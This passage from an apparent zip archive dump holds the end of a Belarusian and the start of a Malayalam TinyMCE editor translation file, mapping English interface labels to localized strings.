"Column group": "\u0413\u0440\u0443\u043f\u0430 \u0441\u043b\u0443\u043f\u043a\u043e\u045e",
"Row type": "\u0422\u044b\u043f \u0440\u0430\u0434\u043a\u0430",
"Header": "\u0428\u0430\u043f\u043a\u0430",
"Body": "\u0426\u0435\u043b\u0430",
"Footer": "\u041d\u0456\u0437",
"Border color": "\u041a\u043e\u043b\u0435\u0440 \u043c\u044f\u0436\u044b",
"Insert template": "\u0423\u0441\u0442\u0430\u0432\u0456\u0446\u044c \u0448\u0430\u0431\u043b\u043e\u043d",
"Templates": "\u0428\u0430\u0431\u043b\u043e\u043d\u044b",
"Template": "\u0428\u0430\u0431\u043b\u043e\u043d",
"Text color": "\u041a\u043e\u043b\u0435\u0440 \u0442\u044d\u043a\u0441\u0442\u0443",
"Background color": "\u041a\u043e\u043b\u0435\u0440 \u0444\u043e\u043d\u0443",
"Custom...": "\u041a\u0430\u0440\u044b\u0441\u0442\u0430\u0446\u043a\u0456...",
"Custom color": "\u041a\u0430\u0440\u044b\u0441\u0442\u0430\u0446\u043a\u0456 \u043a\u043e\u043b\u0435\u0440",
"No color": "\u0411\u0435\u0437 \u043a\u043e\u043b\u0435\u0440\u0443",
"Table of Contents": "\u0422\u0430\u0431\u043b\u0456\u0446\u0443 \u0437\u043c\u0435\u0441\u0442\u0443",
"Show blocks": "\u041f\u0430\u043a\u0430\u0437\u0432\u0430\u0446\u044c \u0431\u043b\u043e\u043a\u0456",
"Show invisible characters": "\u041f\u0430\u043a\u0430\u0437\u0432\u0430\u0446\u044c \u043d\u044f\u0431\u0430\u0447\u043d\u044b\u044f \u0441\u0456\u043c\u0432\u0430\u043b\u044b",
"Words: {0}": "\u041a\u043e\u043b\u044c\u043a\u0430\u0441\u0446\u044c \u0441\u043b\u043e\u045e: {0}",
"{0} words": "{0} \u0441\u043b\u043e\u045e",
"File": "\u0424\u0430\u0439\u043b",
"Edit": "\u0417\u043c\u044f\u043d\u0456\u0446\u044c",
"Insert": "\u0423\u0441\u0442\u0430\u0432\u0456\u0446\u044c",
"View": "\u0412\u044b\u0433\u043b\u044f\u0434",
"Format": "\u0424\u0430\u0440\u043c\u0430\u0442",
"Table": "\u0422\u0430\u0431\u043b\u0456\u0446\u0430",
"Tools": "\u041f\u0440\u044b\u043b\u0430\u0434\u044b",
"Powered by {0}": "\u041f\u0440\u0430\u0446\u0443\u0435 \u043d\u0430 {0}",
"Rich Text Area. Press ALT-F9 for menu. Press ALT-F10 for toolbar. Press ALT-0 for help": "\u0422\u044d\u043a\u0441\u0442\u0430\u0432\u0430\u0435 \u043f\u043e\u043b\u0435. \u041d\u0430\u0446\u0456\u0441\u043d\u0456\u0446\u0435 ALT-F9, \u043a\u0430\u0431 \u0432\u044b\u043a\u043b\u0456\u043a\u0430\u0446\u044c \u043c\u0435\u043d\u044e, ALT-F10 - \u043f\u0430\u043d\u044d\u043b\u044c \u043f\u0440\u044b\u043b\u0430\u0434\u0430\u045e, ALT-0 - \u0434\u043b\u044f \u0432\u044b\u043a\u043b\u0456\u043a\u0443 \u0434\u0430\u043f\u0430\u043c\u043e\u0433\u0456."
});PK
h�\��aa!program/js/tinymce/langs/ml_IN.jsnu�[���tinymce.addI18n('ml_IN',{
"Redo": "\u0d35\u0d40\u0d23\u0d4d\u0d1f\u0d41\u0d02 \u0d1a\u0d46\u0d2f\u0d4d\u0d2f\u0d41\u0d15",
"Undo": "\u0d1a\u0d46\u0d2f\u0d4d\u0d24\u0d24\u0d4d \u0d24\u0d3f\u0d30\u0d3f\u0d1a\u0d4d\u0d1a\u0d46\u0d1f\u0d41\u0d15\u0d4d\u0d15\u0d41\u0d15",
"Cut": "\u0d2e\u0d41\u0d31\u0d3f\u0d2f\u0d4d\u0d15\u0d4d\u0d15\u0d41\u0d15 ",
"Copy": "\u0d2a\u0d15\u0d30\u0d4d\u200d\u0d24\u0d4d\u0d24\u0d41\u0d15",
"Paste": "\u0d12\u0d1f\u0d4d\u0d1f\u0d3f\u0d2f\u0d4d\u0d15\u0d4d\u0d15\u0d41\u0d15",
"Select all": "\u0d0e\u0d32\u0d4d\u0d32\u0d3e\u0d02 \u0d24\u0d3f\u0d30\u0d1e\u0d4d\u0d1e\u0d46\u0d1f\u0d41\u0d15\u0d4d\u0d15\u0d41\u0d15",
"New document": "\u0d2a\u0d41\u0d24\u0d3f\u0d2f \u0d30\u0d1a\u0d28",
"Ok": "\u0d36\u0d30\u0d3f",
"Cancel": "\u0d31\u0d26\u0d4d\u0d26\u0d3e\u0d15\u0d4d\u0d15\u0d41\u0d15",
"Visual aids": "\u0d26\u0d43\u0d36\u0d4d\u0d2f\u0d38\u0d39\u0d3e\u0d2f\u0d3f\u0d15\u0d33\u0d4d\u200d",
"Bold": "\u0d15\u0d28\u0d2a\u0d4d\u0d2a\u0d3f\u0d15\u0d4d\u0d15\u0d41\u0d15",
"Italic": "\u0d1a\u0d46\u0d30\u0d3f\u0d15\u0d4d\u0d15\u0d41\u0d15",
"Underline": "\u0d05\u0d1f\u0d3f\u0d35\u0d30\u0d2f\u0d3f\u0d1f\u0d41\u0d15",
"Strikethrough": "\u0d35\u0d46\u0d1f\u0d4d\u0d1f\u0d41\u0d15",
"Superscript": "\u0d38\u0d42\u0d2a\u0d4d\u0d2a\u0d30\u0d4d\u200d\u0d38\u0d4d\u0d15\u0d4d\u0d30\u0d3f\u0d2a\u0d4d\u0d31\u0d4d\u0d31\u0d4d",
"Subscript": "\u0d38\u0d2c\u0d4d\u200c\u0d38\u0d4d\u0d15\u0d4d\u0d30\u0d3f\u0d2a\u0d4d\u0d31\u0d4d\u0d31\u0d4d",
"Clear formatting": "\u0d35\u0d46\u0d1f\u0d3f\u0d2a\u0d4d\u0d2a\u0d3e\u0d15\u0d4d\u0d15\u0d41\u0d15",
"Align left": "\u0d07\u0d1f\u0d24\u0d4d\u0d24\u0d4b\u0d1f\u0d4d\u0d1f\u0d41\u0d4d \u0d2a\u0d3f\u0d1f\u0d3f\u0d15\u0d4d\u0d15\u0d41\u0d15",
"Align center": "\u0d28\u0d1f\u0d41\u0d35\u0d3f\u0d32\u0d4b\u0d1f\u0d4d\u0d1f\u0d41\u0d4d \u0d2a\u0d3f\u0d1f\u0d3f\u0d15\u0d4d\u0d15\u0d41\u0d15",
"Align right": "\u0d35\u0d32\u0d24\u0d4d\u0d24\u0d4b\u0d1f\u0d4d\u0d1f\u0d41\u0d4d \u0d2a\u0d3f\u0d1f\u0d3f\u0d15\u0d4d\u0d15\u0d41\u0d15",
"Justify": "\u0d38\u0d28\u0d4d\u0d24\u0d41\u0d32\u0d3f\u0d24\u0d2e\u0d3e\u0d15\u0d4d\u0d15\u0d41\u0d15",
"Bullet list": "\u0d05\u0d1f\u0d2f\u0d3e\u0d33\u0d2e\u0d3f\u0d1f\u0d4d\u0d1f \u0d2a\u0d1f\u0d4d\u0d1f\u0d3f\u0d15",
"Numbered list": "\u0d0e\u0d23\u0d4d\u0d23\u0d2e\u0d3f\u0d1f\u0d4d\u0d1f \u0d2a\u0d1f\u0d4d\u0d1f\u0d3f\u0d15",
"Decrease indent": "\u0d35\u0d3f\u0d1f\u0d35\u0d41\u0d4d \u0d15\u0d41\u0d31\u0d2f\u0d4d\u0d15\u0d4d\u0d15\u0d41\u0d15 ",
"Increase indent": "\u0d35\u0d3f\u0d1f\u0d35\u0d41\u0d4d \u0d15\u0d42\u0d1f\u0d4d\u0d1f\u0d41\u0d15",
"Close": "\u0d05\u0d1f\u0d2f\u0d4d\u0d15\u0d4d\u0d15\u0d41\u0d15",
"Formats": "\u0d15\u0d46\u0d1f\u0d4d\u0d1f\u0d41\u0d02\u0d2e\u0d1f\u0d4d\u0d1f\u0d41\u0d02",
"Your browser doesn't support direct access to the clipboard. Please use the Ctrl+X\/C\/V keyboard shortcuts instead.": "\u0d28\u0d3f\u0d19\u0d4d\u0d19\u0d33\u0d41\u0d1f\u0d46 \u0d2c\u0d4d\u0d30\u0d4c\u0d38\u0d30\u0d4d\u200d \u0d15\u0d4d\u0d32\u0d3f\u0d2a\u0d4d\u0d2a\u0d4d\u0d2c\u0d4b\u0d30\u0d4d\u200d\u0d21\u0d3f\u0d32\u0d47\u0d15\u0d4d\u0d15\u0d4d \u0d2a\u0d4d\u0d30\u0d35\u0d47\u0d36\u0d28\u0d02 \u0d28\u0d32\u0d4d\u200d\u0d15\u0d41\u0d28\u0d4d\u0d28\u0d3f\u0d32\u0d4d\u0d32. \u0d26\u0d2f\u0d35\u0d41 \u0d1a\u0d46\u0d2f\u0d4d\u0d24 CTRL+X\/C\/V \u0d37\u0d4b\u0d30\u0d4d\u200d\u0d1f\u0d4d\u0d1f\u0d4d\u0d15\u0d1f\u0d4d\u0d1f\u0d41\u0d15\u0d33\u0d4d\u200d \u0d09\u0d2a\u0d2f\u0d4b\u0d17\u0d3f\u0d15\u0d4d\u0d15\u0d41\u0d15",
"Headers": "\u0d24\u0d32\u0d15\u0d4d\u0d15\u0d46\u0d1f\u0d4d\u0d1f\u0d41\u0d15\u0d33\u0d4d\u200d",
"Header 1": "\u0d24\u0d32\u0d15\u0d4d\u0d15\u0d46\u0d1f\u0d4d\u0d1f\u0d4d\u200c1",
"Header 2": "\u0d24\u0d32\u0d15\u0d4d\u0d15\u0d46\u0d1f\u0d4d\u0d1f\u0d4d\u200c2",
"Header 3": "\u0d24\u0d32\u0d15\u0d4d\u0d15\u0d46\u0d1f\u0d4d\u0d1f\u0d4d\u200c3",
"Header 4": "\u0d24\u0d32\u0d15\u0d4d\u0d15\u0d46\u0d1f\u0d4d\u0d1f\u0d4d\u200c4",
"Header 5": "\u0d24\u0d32\u0d15\u0d4d\u0d15\u0d46\u0d1f\u0d4d\u0d1f\u0d4d\u200c5",
"Header 6": "\u0d24\u0d32\u0d15\u0d4d\u0d15\u0d46\u0d1f\u0d4d\u0d1f\u0d4d\u200c6",
"Headings": "\u0d36\u0d40\u0d7c\u0d37\u0d15\u0d19\u0d4d\u0d19\u0d7e",
"Heading 1": "\u0d36\u0d40\u0d7c\u0d37\u0d15\u0d02 1",
"Heading 2": "\u0d36\u0d40\u0d7c\u0d37\u0d15\u0d02 2",
"Heading 3": "\u0d36\u0d40\u0d7c\u0d37\u0d15\u0d02 3",
"Heading 4": "\u0d36\u0d40\u0d7c\u0d37\u0d15\u0d02 4",
"Heading 5": "\u0d36\u0d40\u0d7c\u0d37\u0d15\u0d02 5",
"Heading 6": "\u0d36\u0d40\u0d7c\u0d37\u0d15\u0d02 6",
"Preformatted": "\u0d2a\u0d42\u0d7c\u0d35\u0d4d\u0d35\u0d38\u0d02\u0d30\u0d1a\u0d3f\u0d24\u0d02",
"Div": "\u0d21\u0d3f\u0d35\u0d4d",
"Pre": "\u0d2a\u0d4d\u0d30\u0d40",
"Code": "\u0d15\u0d4b\u0d21\u0d4d",
"Paragraph": "\u0d16\u0d23\u0d4d\u200c\u0d21\u0d3f\u0d15",
"Blockquote": "\u0d15\u0d42\u0d1f\u0d4d\u0d1f\u0d09\u0d26\u0d4d\u0d27\u0d30\u0d23\u0d3f",
"Inline": "\u0d35\u0d30\u0d3f\u0d2f\u0d3f\u0d32\u0d4d\u200d",
"Blocks": "\u0d15\u0d42\u0d1f\u0d4d\u0d1f\u0d02",
"Paste is now in plain text mode. Contents will now be pasted as plain text until you toggle this option off.": "\u0d12\u0d1f\u0d4d\u0d1f\u0d3f\u0d2a\u0d4d\u0d2a\u0d4d \u0d07\u0d2a\u0d4d\u0d2a\u0d4b\u0d33\u0d4d\u200d \u0d32\u0d33\u0d3f\u0d24\u0d2e\u0d3e\u0d2f \u0d1f\u0d46\u0d15\u0d4d\u0d38\u0d4d\u0d31\u0d4d\u0d31\u0d4d\u200c  \u0d06\u0d2f\u0d3f\u0d1f\u0d4d\u0d1f\u0d3e\u0d23\u0d4d. \u0d28\u0d3f\u0d19\u0d4d\u0d19\u0d33\u0d4d\u200d \u0d08 \u0d38\u0d57\u0d15\u0d30\u0d4d\u0d2f\u0d02 \u0d2e\u0d3e\u0d31\u0d4d\u0d31\u0d41\u0d28\u0d4d\u0d28\u0d24\u0d4d \u0d35\u0d30\u0d46 \u0d09\u0d33\u0d4d\u0d33\u0d1f\u0d15\u0d4d\u0d15\u0d02 \u0d32\u0d33\u0d3f\u0d24 \u0d1f\u0d46\u0d15\u0d4d\u0d38\u0d4d\u0d31\u0d4d\u0d31\u0d4d\u200c \u0d06\u0d2f\u0d3f\u0d1f\u0d4d\u0d1f\u0d3e\u0d2f\u0d3f\u0d30\u0d3f\u0d15\u0d4d\u0d15\u0d41\u0d02 \u0d12\u0d1f\u0d4d\u0d1f\u0d3f\u0d15\u0d4d\u0d15\u0d41\u0d28\u0d4d\u0d28\u0d24\u0d4d. ",
"Font Family": "\u0d2b\u0d4b\u0d23\u0d4d\u0d1f\u0d4d \u0d15\u0d41\u0d1f\u0d41\u0d02\u0d2c\u0d02",
"Font Sizes": "\u0d2b\u0d4b\u0d23\u0d4d\u0d1f\u0d4d \u0d35\u0d32\u0d3f\u0d2a\u0d4d\u0d2a\u0d19\u0d4d\u0d19\u0d33\u0d4d\u200d",
"Class": "\u0d36\u0d4d\u0d30\u0d47\u0d23\u0d3f",
"Browse for an image": "\u0d1a\u0d3f\u0d24\u0d4d\u0d30\u0d24\u0d4d\u0d24\u0d3f\u0d28\u0d3e\u0d2f\u0d3f \u0d24\u0d3f\u0d30\u0d2f\u0d41\u0d15 ",
"OR": "\u0d05\u0d25\u0d35\u0d3e",
"Drop an image here": "\u0d1a\u0d3f\u0d24\u0d4d\u0d30\u0d02 \u0d07\u0d35\u0d3f\u0d1f\u0d46 \u0d07\u0d1f\u0d41\u0d15",
"Upload": "\u0d05\u0d2a\u0d4d\u0d2a\u0d4d\u0d32\u0d4b\u0d21\u0d4d \u0d1a\u0d46\u0d2f\u0d4d\u0d2f\u0d41\u0d15",
"Block": "\u0d16\u0d23\u0d4d\u0d21\u0d02",
"Align": "\u0d35\u0d3f\u0d28\u0d4d\u0d2f\u0d38\u0d3f\u0d15\u0d4d\u0d15\u0d41\u0d15",
"Default": "\u0d09\u0d2a\u0d47\u0d15\u0d4d\u0d37",
"Circle": "\u0d35\u0d1f\u0d4d\u0d1f\u0d02",
"Disc": "\u0d1a\u0d15\u0d4d\u0d30\u0d02",
"Square": "\u0d38\u0d2e\u0d1a\u0d24\u0d41\u0d30\u0d02",
"Lower Alpha": "\u0d1a\u0d46\u0d31\u0d3f\u0d2f \u0d05\u0d15\u0d4d\u0d37\u0d30\u0d19\u0d4d\u0d19\u0d33\u0d4d\u200d",
"Lower Greek": "\u0d1a\u0d46\u0d31\u0d3f\u0d2f \u0d17\u0d4d\u0d30\u0d40\u0d15\u0d4d\u0d15\u0d4d\u200c \u0d05\u0d15\u0d4d\u0d37\u0d30\u0d19\u0d4d\u0d19\u0d33\u0d4d\u200d",
"Lower Roman": "\u0d1a\u0d46\u0d31\u0d3f\u0d2f \u0d31\u0d4b\u0d2e\u0d28\u0d4d\u200d \u0d05\u0d15\u0d4d\u0d37\u0d30\u0d19\u0d4d\u0d19\u0d33\u0d4d\u200d",
"Upper Alpha": "\u0d35\u0d32\u0d3f\u0d2f \u0d06\u0d32\u0d4d\u0d2b\u0d3e \u0d05\u0d15\u0d4d\u0d37\u0d30\u0d19\u0d4d\u0d19\u0d33\u0d4d\u200d",
"Upper Roman": "\u0d35\u0d32\u0d3f\u0d2f \u0d31\u0d4b\u0d2e\u0d28\u0d4d\u200d \u0d05\u0d15\u0d4d\u0d37\u0d30\u0d19\u0d4d\u0d19\u0d33\u0d4d\u200d",
"Anchor": "\u0d28\u0d19\u0d4d\u0d15\u0d42\u0d30\u0d02",
"Name": "\u0d2a\u0d47\u0d30\u0d4d",
"Id": "Id",
"Id should start with a letter, followed only by letters, numbers, dashes, dots, colons or underscores.": "Id should start with a letter, followed only by letters, numbers, dashes, dots, colons or underscores.",
"You have unsaved changes are you sure you want to navigate away?": "\u0d30\u0d15\u0d4d\u0d37\u0d2a\u0d4d\u0d2a\u0d46\u0d1f\u0d41\u0d24\u0d4d\u0d24\u0d3e\u0d24\u0d4d\u0d24 \u0d2e\u0d3e\u0d31\u0d4d\u0d31\u0d19\u0d4d\u0d19\u0d33\u0d4d\u200d \u0d28\u0d3f\u0d32\u0d28\u0d3f\u0d32\u0d4d\u200d\u0d15\u0d4d\u0d15\u0d41\u0d28\u0d4d\u0d28\u0d41. \u0d2a\u0d41\u0d31\u0d24\u0d4d\u0d24\u0d41 \u0d15\u0d1f\u0d15\u0d4d\u0d15\u0d23\u0d4b?",
"Restore last draft": "\u0d2a\u0d34\u0d2f \u0d21\u0d4d\u0d30\u0d3e\u0d2b\u0d4d\u0d31\u0d4d\u0d31\u0d4d\u200c \u0d24\u0d3f\u0d30\u0d3f\u0d1a\u0d4d\u0d1a\u0d41 \u0d15\u0d4a\u0d23\u0d4d\u0d1f\u0d4d \u0d35\u0d30\u0d3f\u0d15",
"Special character": "\u0d2a\u0d4d\u0d30\u0d24\u0d4d\u0d2f\u0d47\u0d15\u0d3e\u0d15\u0d4d\u0d37\u0d30\u0d19\u0d4d\u0d19\u0d33\u0d4d\u200d",
"Source code": "\u0d38\u0d4b\u0d34\u0d4d\u0d38\u0d4d \u0d15\u0d4b\u0d21\u0d4d",
"Insert\/Edit code sample": "Insert\/Edit code sample",
"Language": "\u0d2d\u0d3e\u0d37",
"Code sample": "Code sample",
"Color": "\u0d28\u0d3f\u0d31\u0d02",
"R": "R",
"G": "G",
"B": "B",
"Left to right": "\u0d07\u0d1f\u0d24\u0d4d\u0d24\u0d4d \u0d28\u0d3f\u0d28\u0d4d\u0d28\u0d41\u0d02 \u0d35\u0d32\u0d24\u0d4d\u0d24\u0d47\u0d15\u0d4d\u0d15\u0d4d",
"Right to left": "\u0d35\u0d32\u0d24\u0d4d\u0d24\u0d41 \u0d28\u0d3f\u0d28\u0d4d\u0d28\u0d41\u0d02 \u0d07\u0d1f\u0d24\u0d4d\u0d24\u0d47\u0d15\u0d4d\u0d15\u0d4d",
"Emoticons": "\u0d1a\u0d3f\u0d39\u0d4d\u0d28 \u0d2d\u0d3e\u0d37",
"Document properties": "\u0d21\u0d4b\u0d15\u0d4d\u0d15\u0d41\u0d2e\u0d46\u0d28\u0d4d\u0d31\u0d4d \u0d17\u0d41\u0d23\u0d35\u0d3f\u0d36\u0d47\u0d37\u0d19\u0d4d\u0d19\u0d33\u0d4d\u200d",
"Title": "\u0d24\u0d32\u0d15\u0d4d\u0d15\u0d46\u0d1f\u0d4d\u0d1f\u0d4d",
"Keywords": "\u0d38\u0d42\u0d1a\u0d15\u0d2a\u0d26\u0d19\u0d4d\u0d19\u0d33\u0d4d\u200d",
"Description": "\u0d35\u0d3f\u0d35\u0d30\u0d23\u0d02",
"Robots": "\u0d2f\u0d28\u0d4d\u0d24\u0d4d\u0d30\u0d2e\u0d28\u0d41\u0d37\u0d4d\u0d2f\u0d28\u0d4d\u200d",
"Author": "\u0d32\u0d47\u0d16\u0d15\u0d28\u0d4d\u200d",
"Encoding": "\u0d0e\u0d7b\u0d15\u0d4b\u0d21\u0d3f\u0d02\u0d17\u0d4d",
"Fullscreen": "\u0d2b\u0d41\u0d33\u0d4d\u200d\u0d38\u0d4d\u0d15\u0d4d\u0d30\u0d40\u0d28\u0d4d\u200d",
"Action": "Action",
"Shortcut": "Shortcut",
"Help": "Help",
"Address": "Address",
"Focus to menubar": "Focus to menubar",
"Focus to toolbar": "Focus to toolbar",
"Focus to element path": "Focus to element path",
"Focus to contextual toolbar": "Focus to contextual toolbar",
"Insert link (if link plugin activated)": "Insert link (if link plugin activated)",
"Save (if save plugin activated)": "Save (if save plugin activated)",
"Find (if searchreplace plugin activated)": "Find (if searchreplace plugin activated)",
"Plugins installed ({0}):": "Plugins installed ({0}):",
"Premium plugins:": "Premium plugins:",
"Learn more...": "Learn more...",
"You are using {0}": "You are using {0}",
"Plugins": "Plugins",
"Handy Shortcuts": "Handy Shortcuts",
"Horizontal line": "\u0d36\u0d3e\u0d16\u0d3e\u0d2a\u0d3e\u0d24",
"Insert\/edit image": "\u0d1a\u0d3f\u0d24\u0d4d\u0d30\u0d19\u0d4d\u0d19\u0d33\u0d4d\u200d \u0d1a\u0d47\u0d30\u0d4d\u200d\u0d15\u0d4d\u0d15\u0d41\u0d15\/ \u0d24\u0d3f\u0d30\u0d41\u0d24\u0d4d\u0d24\u0d41\u0d15",
"Image description": "\u0d1a\u0d3f\u0d24\u0d4d\u0d30 \u0d35\u0d3f\u0d35\u0d30\u0d23\u0d02",
"Source": "\u0d09\u0d31\u0d35\u0d3f\u0d1f\u0d02",
"Dimensions": "\u0d05\u0d33\u0d35\u0d41\u0d15\u0d33\u0d4d\u200d",
"Constrain proportions": "\u0d28\u0d3f\u0d30\u0d4d\u200d\u0d2c\u0d28\u0d4d\u0d27\u0d3e\u0d28\u0d41\u0d2a\u0d3e\u0d24\u0d02",
"General": "\u0d2a\u0d4a\u0d24\u0d41\u0d35\u0d3e\u0d2f",
"Advanced": "\u0d2a\u0d41\u0d30\u0d47\u0d3e\u0d17\u0d2e\u0d3f\u0d1a\u0d4d\u0d1a",
"Style": "\u0d36\u0d48\u0d32\u0d3f",
"Vertical space": "\u0d32\u0d02\u0d2c\u0d2e\u0d3e\u0d28\u0d2e\u0d3e\u0d2f \u0d36\u0d42\u0d28\u0d4d\u0d2f\u0d38\u0d4d\u0d25\u0d32\u0d02",
"Horizontal space": "\u0d24\u0d3f\u0d30\u0d36\u0d4d\u0d1a\u0d40\u0d28\u0d2e\u0d3e\u0d2f \u0d36\u0d42\u0d28\u0d4d\u0d2f\u0d38\u0d4d\u0d25\u0d32\u0d02",
"Border": "\u0d05\u0d24\u0d3f\u0d30\u0d4d",
"Insert image": "\u0d1a\u0d3f\u0d24\u0d4d\u0d30\u0d19\u0d4d\u0d19\u0d33\u0d4d\u200d \u0d1a\u0d47\u0d30\u0d4d\u200d\u0d15\u0d4d\u0d15\u0d41\u0d15",
"Image": "\u0d1a\u0d3f\u0d24\u0d4d\u0d30\u0d02",
"Image list": "Image list",
"Rotate counterclockwise": "\u0d0e\u0d24\u0d3f\u0d7c \u0d18\u0d1f\u0d3f\u0d15\u0d3e\u0d30\u0d26\u0d3f\u0d36\u0d2f\u0d3f\u0d7d \u0d24\u0d3f\u0d30\u0d3f\u0d15\u0d4d\u0d15\u0d41\u0d15",
"Rotate clockwise": "\u0d18\u0d1f\u0d3f\u0d15\u0d3e\u0d30\u0d26\u0d3f\u0d36\u0d2f\u0d3f\u0d7d \u0d24\u0d3f\u0d30\u0d3f\u0d15\u0d4d\u0d15\u0d41\u0d15",
"Flip vertically": "\u0d32\u0d02\u0d2c\u0d2e\u0d3e\u0d2f\u0d3f \u0d24\u0d3f\u0d30\u0d3f\u0d1a\u0d4d\u0d1a\u0d3f\u0d1f\u0d41\u0d15",
"Flip horizontally": "\u0d24\u0d3f\u0d30\u0d36\u0d4d\u0d1a\u0d40\u0d28\u0d2e\u0d3e\u0d2f\u0d3f \u0d24\u0d3f\u0d30\u0d3f\u0d1a\u0d4d\u0d1a\u0d3f\u0d1f\u0d41\u0d15",
"Edit image": "\u0d1a\u0d3f\u0d24\u0d4d\u0d30\u0d02 \u0d0e\u0d21\u0d3f\u0d31\u0d4d\u0d31\u0d4d \u0d1a\u0d46\u0d2f\u0d4d\u0d2f\u0d41\u0d15",
"Image options": "\u0d1a\u0d3f\u0d24\u0d4d\u0d30 \u0d38\u0d3e\u0d27\u0d4d\u0d2f\u0d24\u0d15\u0d7e",
"Zoom in": "\u0d38\u0d42\u0d15\u0d4d\u0d37\u0d4d\u0d2e \u0d35\u0d40\u0d15\u0d4d\u0d37\u0d23\u0d02",
"Zoom out": "\u0d38\u0d4d\u0d25\u0d42\u0d32 \u0d35\u0d40\u0d15\u0d4d\u0d37\u0d23\u0d02",
"Crop": "\u0d35\u0d46\u0d1f\u0d4d\u0d1f\u0d3f \u0d1a\u0d41\u0d30\u0d41\u0d15\u0d4d\u0d15\u0d41\u0d15",
"Resize": "\u0d05\u0d33\u0d35\u0d41\u0d15\u0d7e \u0d2e\u0d3e\u0d31\u0d4d\u0d31\u0d41\u0d15",
"Orientation": "\u0d05\u0d2d\u0d3f\u0d35\u0d3f\u0d28\u0d4d\u0d2f\u0d3e\u0d38\u0d02",
"Brightness": "\u0d2e\u0d3f\u0d34\u0d3f\u0d35\u0d4d",
"Sharpen": "\u0d24\u0d46\u0d33\u0d3f\u0d2e \u0d15\u0d42\u0d1f\u0d4d\u0d1f\u0d41\u0d15 ",
"Contrast": "\u0d35\u0d4d\u0d2f\u0d24\u0d3f\u0d30\u0d3f\u0d15\u0d4d\u0d24\u0d24",
"Color levels": "\u0d35\u0d7c\u0d23\u0d4d\u0d23 \u0d28\u0d3f\u0d32\u0d15\u0d7e",
"Gamma": "\u0d17\u0d3e\u0d2e\u0d3e",
"Invert": "\u0d07\u0d7b\u0d35\u0d46\u0d7c\u0d1f\u0d4d \u0d1a\u0d46\u0d2f\u0d4d\u0d2f\u0d41\u0d15",
"Apply": "\u0d2a\u0d4d\u0d30\u0d2f\u0d4b\u0d17\u0d3f\u0d15\u0d4d\u0d15\u0d41\u0d15",
"Back": "\u0d2a\u0d3f\u0d7b\u0d35\u0d3e\u0d19\u0d4d\u0d19\u0d41\u0d15",
"Insert date\/time": "\u0d38\u0d2e\u0d2f\u0d02\/\u0d24\u0d40\u0d2f\u0d24\u0d3f \u0d1a\u0d47\u0d30\u0d4d\u200d\u0d15\u0d4d\u0d15\u0d41\u0d15",
"Date\/time": "Date\/time",
"Insert link": "\u0d15\u0d23\u0d4d\u0d23\u0d3f \u0d1a\u0d47\u0d30\u0d4d\u200d\u0d15\u0d4d\u0d15\u0d41\u0d15",
"Insert\/edit link": "\u0d15\u0d23\u0d4d\u0d23\u0d3f \u0d1a\u0d47\u0d30\u0d4d\u200d\u0d15\u0d4d\u0d15\u0d41\u0d15\/ \u0d15\u0d23\u0d4d\u0d23\u0d3f \u0d24\u0d3f\u0d30\u0d41\u0d24\u0d4d\u0d24\u0d41\u0d15",
"Text to display": "\u0d15\u0d3e\u0d23\u0d3f\u0d15\u0d4d\u0d15\u0d3e\u0d28\u0d41\u0d33\u0d4d\u0d33 \u0d05\u0d15\u0d4d\u0d37\u0d30\u0d19\u0d4d\u0d19\u0d33\u0d4d\u200d",
"Url": "\u0d2f\u0d42\u0d06\u0d30\u0d4d\u200d\u0d0e\u0d32\u0d4d\u200d",
"Target": "\u0d32\u0d15\u0d4d\u0d37\u0d4d\u0d2f\u0d02",
"None": "\u0d12\u0d28\u0d4d\u0d28\u0d41\u0d2e\u0d3f\u0d32\u0d4d\u0d32",
"New window": "\u0d2a\u0d41\u0d24\u0d3f\u0d2f \u0d1c\u0d3e\u0d32\u0d15\u0d02",
"Remove link": "\u0d15\u0d23\u0d4d\u0d23\u0d3f \u0d12\u0d34\u0d3f\u0d35\u0d3e\u0d15\u0d4d\u0d15\u0d41\u0d15",
"Anchors": "\u0d28\u0d19\u0d4d\u0d15\u0d42\u0d30\u0d19\u0d4d\u0d19\u0d7e",
"Link": "\u0d15\u0d23\u0d4d\u0d23\u0d3f ",
"Paste or type a link": "Paste or type a link",
"The URL you entered seems to be an email address. Do you want to add the required mailto: prefix?": "The URL you entered seems to be an email address. Do you want to add the required mailto: prefix?",
"The URL you entered seems to be an external link. Do you want to add the required http:\/\/ prefix?": "The URL you entered seems to be an external link. Do you want to add the required http:\/\/ prefix?",
"Link list": "Link list",
"Insert video": "\u0d35\u0d40\u0d21\u0d3f\u0d2f\u0d4b \u0d1a\u0d47\u0d30\u0d4d\u200d\u0d15\u0d4d\u0d15\u0d41\u0d15",
"Insert\/edit video": "\u0d35\u0d40\u0d21\u0d3f\u0d2f\u0d4b \u0d1a\u0d46\u0d30\u0d4d\u200d\u0d15\u0d4d\u0d15\u0d41\u0d15\/\u0d35\u0d40\u0d21\u0d3f\u0d2f\u0d4b \u0d24\u0d3f\u0d30\u0d41\u0d24\u0d4d\u0d24\u0d41\u0d15",
"Insert\/edit media": "Insert\/edit media",
"Alternative source": "\u0d07\u0d24\u0d30 \u0d38\u0d4d\u0d30\u0d4b\u0d24\u0d38\u0d4d\u0d38\u0d4d\u200c",
"Poster": "\u0d1a\u0d3f\u0d24\u0d4d\u0d30\u0d02",
"Paste your embed code below:": "\u0d28\u0d3f\u0d19\u0d33\u0d41\u0d1f\u0d46 \u0d0e\u0d02\u0d2c\u0d21\u0d4d \u0d15\u0d4b\u0d21\u0d4d \u0d12\u0d1f\u0d4d\u0d1f\u0d3f\u0d15\u0d4d\u0d15\u0d41\u0d15",
"Embed": "\u0d0e\u0d02\u0d2c\u0d46\u0d21\u0d4d\u200c",
"Media": "Media",
"Nonbreaking space": "\u0d2d\u0d02\u0d17\u0d2e\u0d3f\u0d32\u0d4d\u0d32\u0d3e\u0d24\u0d4d\u0d24 \u0d36\u0d42\u0d28\u0d4d\u0d2f\u0d38\u0d4d\u0d25\u0d32\u0d02",
"Page break": "\u0d24\u0d3e\u0d33\u0d4d\u200d \u0d2d\u0d02\u0d17\u0d02",
"Paste as text": "\u0d1f\u0d46\u0d15\u0d4d\u0d38\u0d4d\u0d31\u0d4d\u0d31\u0d4d\u200c \u0d06\u0d2f\u0d3f \u0d12\u0d1f\u0d4d\u0d1f\u0d3f\u0d15\u0d4d\u0d15\u0d41\u0d15",
"Preview": "\u0d15\u0d30\u0d1f\u0d41\u0d2a\u0d24\u0d3f\u0d2a\u0d4d\u0d2a\u0d4d",
"Print": "\u0d05\u0d1a\u0d4d\u0d1a\u0d1f\u0d3f\u0d15\u0d4d\u0d15\u0d41\u0d15",
